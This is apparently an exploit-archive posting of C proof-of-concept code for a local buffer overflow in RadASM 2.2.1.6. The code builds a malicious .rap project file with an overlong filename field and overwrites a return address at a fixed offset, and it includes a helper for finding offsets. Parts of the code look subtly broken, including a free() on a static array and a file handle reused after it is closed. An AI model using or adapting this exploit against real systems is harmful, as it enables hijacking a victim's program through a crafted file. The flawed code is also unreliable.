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Radasm v2.2.1.6 .rap file Local Buffer Overflow PoC
==================================================== Radasm v2.2.1.6 .rap file Local Buffer Overflow PoC ==================================================== /*Radasm .rap file local buffer overflow POC I'll be back in a few hours with the exploit. The vuln is in the filename field. snip [Files]...1=AVP OVERFLOW... snip */ #include<stdio.h> void gen_random(char*,const int); void print(char*); unsigned int getFsize(FILE*,char*); void buildfile(char*); #define VULNF "qq.rap" #define VER "2.2.1.6" #define POCNAME "Radasm .rap file local buffer overflow POC" #define AUTHOR "fl0 fl0w" #define IF(x,NULL) if(x==NULL) #define FOR(i,a,b) for(i=a;i<b;++i) #define EIPOFFSET 0xDD #define NUL '\0' #define CLEAR(x) free(x) char file[]={ //1534 bytes 0x5B, 0x50, 0x72, 0x6F, 0x6A, 0x65, 0x63, 0x74, 0x5D, 0x0D, 0x0D, 0x0A, 0x41, 0x73, 0x73, 0x65, 0x6D, 0x62, 0x6C, 0x65, 0x72, 0x3D, 0x6D, 0x61, 0x73, 0x6D, 0x0D, 0x0D, 0x0A, 0x47, 0x72, 0x6F, 0x75, 0x70, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x47, 0x72, 0x6F, 0x75, 0x70, 0x45, 0x78, 0x70, 0x61, 0x6E, 0x64, 0x3D, 0x31, 0x0D, 0x0D, 0x0A, 0x5B, 0x46, 0x69, 0x6C, 0x65, 0x73, 0x5D, 0x0D, 0x0D, 0x0A, 0x31, 0x3D, 0x41, 0x56, 0x50, 0x20, 0x4F, 0x76, 0x65, 0x72, 0x66, 0x72, 0x41, 0x51, 0x42, 0x63, 0x38, 0x57, 0x73, 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memcpy(buffer,file,strlen(file)); memcpy(buffer+292,eip,4); FILE* f=fopen(fname,"wb"); if(f){ fwrite(buffer,1,1534,f); fclose(f); } else { print("Error in writing file"); exit(0); } free(buffer); free(file); int sz=getFsize(f,fname); printf("[!]File is %d bytes\n",sz); } unsigned int getFsize(FILE* g,char* gname) { unsigned int s; g=fopen(gname,"rb"); IF(g,NULL) { print("File error at reading"); exit(0); } fseek(g,0,SEEK_END); s=ftell(g); return s; } void print(char* msg) { printf("[*]%s\n",msg); } void gen_random(char *s, const int len) { int i; //helps u find the offsets static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; FOR(i,0,len) { s[i]=alphanum[rand()%(sizeof(alphanum)-1)]; } s[len]=0; } # 0day.today [2024-12-25] #